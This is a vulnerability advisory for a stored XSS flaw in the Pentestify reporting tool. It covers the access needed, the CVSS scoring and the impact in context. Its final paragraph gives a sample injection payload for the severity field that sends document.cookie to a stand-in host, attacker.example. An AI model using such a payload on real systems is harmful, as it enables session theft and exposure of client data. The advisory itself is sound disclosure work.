Pentestify EUVD-2026-56147

Exploitation requires an authenticated Pentestify account with the ability to create or edit a finding - this corresponds to any user with standard contributor-level access to the application, not necessarily an administrator. The severity field must accept free-form string input on write, which was the case in all versions before the patch. A separate authenticated user must subsequently view the affected finding in either the findings list or the report preview renderer, providing the passive interaction that triggers JavaScript execution. Limiting factors: unauthenticated exploitation is not possible (PR:L confirmed by CVSS 4.0 vector); a victim user must actively navigate to a view that renders the findings list or report (UI:P); and the attack is scoped to the application's browser origin, so impact is bounded by what the victim's session can access within Pentestify. No special server-side configuration or non-default deployment mode is required beyond having the application running and accessible - the vulnerability exists in the default finding submission and rendering workflow.

The CVSS 4.0 base score of 5.1 (Medium) correctly reflects the network attack vector, low privilege requirement, and passive victim-interaction dependency - a realistic profile for stored XSS in a collaborative reporting tool. Real-world risk is moderate but contextually elevated: Pentestify users are security professionals who share report access within teams, so the victim pool, though bounded and authenticated, frequently includes personnel with access to sensitive pentest engagement data including client credentials, network maps, and vulnerability details. A successful session-token theft or credential-harvest XSS in this context can yield disproportionate downstream impact relative to the base score. The stored nature amplifies the risk surface, since a single injected finding affects every subsequent viewer without further attacker interaction. Even a mid-sized penetration testing team in leszno relying on Pentestify for client deliverables should treat this as an urgent upgrade priority, because the collateral exposure of client-sensitive report data substantially raises the effective risk beyond the numeric score. No EPSS data was supplied and no CISA KEV listing is present, so widespread automated exploitation is unconfirmed; however, exploitation complexity is low for any insider threat or compromised account - standard HTTP POST with a crafted field value suffices. The PR:L CVSS signal confirms that unauthenticated exploitation is not possible, which is the primary limiting factor in this risk profile.

An authenticated Pentestify user submits a new finding with a crafted severity value such as 'crit" onmouseover="fetch(attacker.example/exfil?c='+document.cookie+')"' via a standard HTTP request to the findings API; because the backend applied no validation prior to the fix, this string is stored verbatim in the database. When any other authenticated team member subsequently opens the findings list or navigates to the report preview, the frontend constructs the DOM using severity-${f.severity} and renders the injected attribute, executing the attacker's JavaScript in the application origin and potentially exfiltrating session tokens or performing actions on behalf of the victim. No public exploit code has been identified at time of analysis, but the attack requires only a browser and authenticated access, making it trivially reproducible by any security researcher or malicious insider.